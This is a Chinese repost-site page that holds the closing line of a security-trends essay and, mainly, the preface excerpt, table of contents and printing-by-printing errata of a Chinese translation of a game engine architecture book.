但是威胁的现状不容乐观，威胁的发展不会静待；这一篇随笔仅仅挑选六个侧面做摘录分析，可即将到来的趋势一定只会进入更加发散的境地，因此这里，没有总结。 本篇文章为转载内容。原文链接：https://blog.csdn.net/systemino/article/details/90114743。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...d editor）、事件系统（event system）及脚本系统（scripting system）。我们也将会接触游戏性编程（gameplay programming）的多个方面，包括玩家机制（player mechanics）、摄像机（camera）及人工智能（artificial intelligence，AI）。然而，这类讨论会被限制在游戏性系统和引擎接口范围。 本书可以作为大学中等级游戏程序设计中两到三门课程的教材。当然，本书也适合软件工程师、业余爱好者、自学的游戏程序员，以及游戏行业从业人员。通过阅读本书，资历较浅的游戏程序员可以巩固他们所学的游戏数学、引擎架构及游戏科技方面的知识。专注某一领域的资深程序员也能从本书更为全面的介绍中获益。 为了更好地学习本书内容，你需要掌握基本的面向对象编程概念并至少拥有一些C++编程经验。尽管游戏行业已经开始尝试使用一些新的、令人兴奋的编程语言，然而工业级的3D游戏引擎仍然是用C或C++编写的，任何认真的游戏程序员都应该掌握C++。我们将在第3章重温一些面向对象编程的基本原则，毫无疑问，你还会从本书学到一些C++的小技巧，不过C++的基础最好还是通过阅读[39]、[31]及[32]来获得。如果你对C++已经有点生疏，建议你在阅读本书的同时，最好能重温这几本或者类似书籍。如果你完全没有C++经验，在看本书之前，可以考虑先阅读[39]的前几章，或者尝试学习一些C++的在线教程。 学习编程技能最好的方法就是写代码。在阅读本书时，强烈建议你选择一些特别感兴趣的主题付诸实践。举例来说，如果你觉得人物动画很有趣，那么可以首先安装OGRE，并测试一下它的蒙皮动画示范。接着还可以尝试用OGRE实现本书谈及的一些动画混合技巧。下一步你可能会打算用游戏手柄控制人物在平面上行走。等你能玩转一些简单的东西了，就应该以此为基础，继续前进！之后可以转移到另一个游戏技术范畴，周而复始。这些项目是什么并不重要，重要的是你在实践游戏编程的艺术，而不是纸上谈兵。 游戏科技是一个活生生、会呼吸的家伙 ，永远不可能将之束缚于书本之上 。因此，附加的资源、勘误、更新、示例代码、项目构思等已经发到本书的网站。 目录 推荐序1 iii推荐序2 v译序 vii序言 xvii前言 xix致谢 xxi第一部分 基础 1第1章 导论 31.1 典型游戏团队的结构 41.2 游戏是什么 71.3 游戏引擎是什么 101.4 不同游戏类型中的引擎差异 111.5 游戏引擎概观 221.6 运行时引擎架构 271.7 工具及资产管道 46第2章 专业工具 532.1 版本控制 532.2 微软Visual Studio 612.3 剖析工具 782.4 内存泄漏和损坏检测 792.5 其他工具 80第3章 游戏软件工程基础 833.1 重温C++及最佳实践 833.2 C/C++的数据、代码及内存 903.3 捕捉及处理错误 118第4章 游戏所需的三维数学 1254.1 在二维中解决三维问题 1254.2 点和矢量 1254.3 矩阵 1394.4 四元数 1564.5 比较各种旋转表达方式 1644.6 其他数学对象 1684.7 硬件加速的SIMD运算 1734.8 产生随机数 180第二部分 低阶引擎系统 183第5章 游戏支持系统 1855.1 子系统的启动和终止 1855.2 内存管理 1935.3 容器 2085.4 字符串 2255.5 引擎配置 234第6章 资源及文件系统 2416.1 文件系统 2416.2 资源管理器 251第7章 游戏循环及实时模拟 2777.1 渲染循环 2777.2 游戏循环 2787.3 游戏循环的架构风格 2807.4 抽象时间线 2837.5 测量及处理时间 2857.6 多处理器的游戏循环 2967.7 网络多人游戏循环 304第8章 人体学接口设备（HID） 3098.1 各种人体学接口设备 3098.2 人体学接口设备的接口技术 3118.3 输入类型 3128.4 输出类型 3168.5 游戏引擎的人体学接口设备系统 3188.6 人体学接口设备使用实践 332第9章 调试及开发工具 3339.1 日志及跟踪 3339.2 调试用的绘图功能 3379.3 游戏内置菜单 3449.4 游戏内置主控台 3479.5 调试用摄像机和游戏暂停 3489.6 作弊 3489.7 屏幕截图及录像 3499.8 游戏内置性能剖析 3499.9 游戏内置的内存统计和泄漏检测 356第三部分 图形及动画 359第10章 渲染引擎 36110.1 采用深度缓冲的三角形光栅化基础 36110.2 渲染管道 40410.3 高级光照及全局光照 42610.4 视觉效果和覆盖层 43810.5 延伸阅读 446第11章 动画系统 44711.1 角色动画的类型 44711.2 骨骼 45211.3 姿势 45411.4 动画片段 45911.5 蒙皮及生成矩阵调色板 47111.6 动画混合 47611.7 后期处理 49311.8 压缩技术 49611.9 动画系统架构 50111.10 动画管道 50211.11 动作状态机 51511.12 动画控制器 535第12章 碰撞及刚体动力学 53712.1 你想在游戏中加入物理吗 53712.2 碰撞/物理中间件 54212.3 碰撞检测系统 54412.4 刚体动力学 56912.5 整合物理引擎至游戏 60112.6 展望：高级物理功能 616第四部分 游戏性 617第13章 游戏性系统简介 61913.1 剖析游戏世界 61913.2 实现动态元素：游戏对象 62313.3 数据驱动游戏引擎 62613.4 游戏世界编辑器 627第14章 运行时游戏性基础系统 63714.1 游戏性基础系统的组件 63714.2 各种运行时对象模型架构 64014.3 世界组块的数据格式 65714.4 游戏世界的加载和串流 66314.5 对象引用与世界查询 67014.6 实时更新游戏对象 67614.7 事件与消息泵 69014.8 脚本 70714.9 高层次的游戏流程 726第五部分 总结 727第15章 还有更多内容吗 72915.1 一些未谈及的引擎系统 72915.2 游戏性系统 730参考文献 733中文索引 737英文索引 755 参考文献 Tomas Akenine-Moller, Eric Haines, and Naty Hoffman. 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London, England: Faber & Faber, 2002. 中译本：《原动画基础教程：动画人的生存手册》，邓晓娥译，中国青年出版社，2006. 勘误 第1次印册（2014年2月） P.xviii: 译注中 Wholesale Algoithms -> Wholesale Algorithms P.10: 最后一段第一行 微软的媒体播放器 -> 微软的Windows Media Player (多谢读者OpenGPU来函指正) P.15: 1.4.3节第三点 按妞 -> 按钮 (多谢读者一个小小凡人来函指正) P.40: 正文最后一行 按扭 -> 按钮 P.50: 1.7.8节第二节第一行 同是 -> 同时 (多谢读者czfdd来函指正) P.98: 代码 writeExampleStruct(Example& ex, Stream& ex) 中 Stream& ex -> Stream& stream (多谢读者Snow来函指正) P.106: 第一段中有六处 BBS -> BSS，最后一段代码的注释也有同样错误 (多谢读者trout来函指正) P.119: 译注中 软体工程 -> 软件工程 (多谢读者Snow来函指正) P.214: 正文第一段有两处 虚内存 -> 虚拟内存 (多谢读者Snow来函指正) P.216: 脚注24应标明为译注 (多谢读者Snow来函指正) P.221: 第一段代码的第二个断言应为 ASSERT(link.m_pPrev != NULL); (多谢读者Snow来函指正) P.230: 5.4.4.1节 第二段 软体 -> 软件 P.286: 脚注4应标明为译注 (多谢读者Snow来函指正) P.322: 第二段 按扭事件字 -> 按钮事件 P.349: 9.8节第二段第二行两处 部析器 -> 剖析器 (多谢读者Snow来函指正) P.738-572: 双数页页眉 参考文献 -> 中文索引 P.755-772: 双数页页眉 参考文献 -> 英文索引 P.755: kd tree项应归入K而不是Symbols 以上的错误已于第2次印册中修正。 第2次印册及之前 P.11: 第四行 细致程度 -> 层次细节 (这是level-of-detail/LOD的内地通译，多谢读者OpenGPU来函指正) P.12: 正文第一段及图1.2标题 使命之唤 -> 使命召唤 (多谢读者OpenGPU来函指正) P.12: 正文第一段 战栗时空 -> 半条命 (多谢读者OpenGPU来函指正) P.16: 第一点 表面下散射 -> 次表面散射 (多谢读者OpenGPU来函指正) P.17: 1.4.4节第五行 次文化 -> 亚文化 (此译法在内地更常用。多谢读者OpenGPU来函提示) P.22: 战栗时空 -> 半条命 P.24: 战栗时空2 -> 半条命2 P.34: 1.6.8.2节第一行 提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.35: 第七行 提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.50: 战栗时空2 -> 半条命2 P.365: 第四段第二行: 细致程度 -> 层次细节 P.441: 10.4.3.2节第三行 细致程度 -> 层次细节 P.494: sinusiod -> sinusoid (多谢读者OpenGPU来函指正) P.511: 11.10.4节第一行 谈入 -> 淡入 (多谢读者Snow来函指正) P.541: 战栗时空2 -> 半条命2 P.627: 战栗时空2 -> 半条命2 P.654: 第二行 建康值 -> 血量 (原来是改正错别字，但译者发现应改作前后统一使用的“血量”。多谢读者Snow来函指正) P.692: 第二行 内部分式 -> 内部方式 (多谢读者Snow来函指正) P.696: 14.7.6节第四行 不设实际 -> 不切实际 (多谢读者Snow来函指正) 以上的错误已于第3次印册中修正。 其他意见 P.220: 正文第一段 m_root.m_pElement 和 P.218 第一段代码中的 m_pElem 不统一。原文有此问题，但因为它们是不同的struct，暂不列作错误。 (多谢读者Snow来函提示) P.331: 8.5.8节第二段中 “反覆”较常见的写法为“反复”，但前者也是正确的，暂不列作错误。 (多谢读者Snow来函提示) P.390: 10.1.3.3节静态光照第二段中“取而代之，我们会使用一张光照纹理贴到所有受光源影响范围内的物体上。这样做能令动态物体经过光源时得到正确的光照。” 后面的一句与前句好像难以一起理解。译者认为，作者应该是指，使用同一静态光源去为静态物件生成光照纹理，以及用于动态对象的光照，能使两者的效果维持一致性。译者会考虑对译文作出改善或加入译注解译。（多谢读者店残来函查询） P.689: 第五行 并行处理世代 -> 并行处理时代 是对era较准确的翻译。 (多谢读者Snow来函提示) 本篇文章为转载内容。原文链接：https://blog.csdn.net/mypongo/article/details/38388381。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。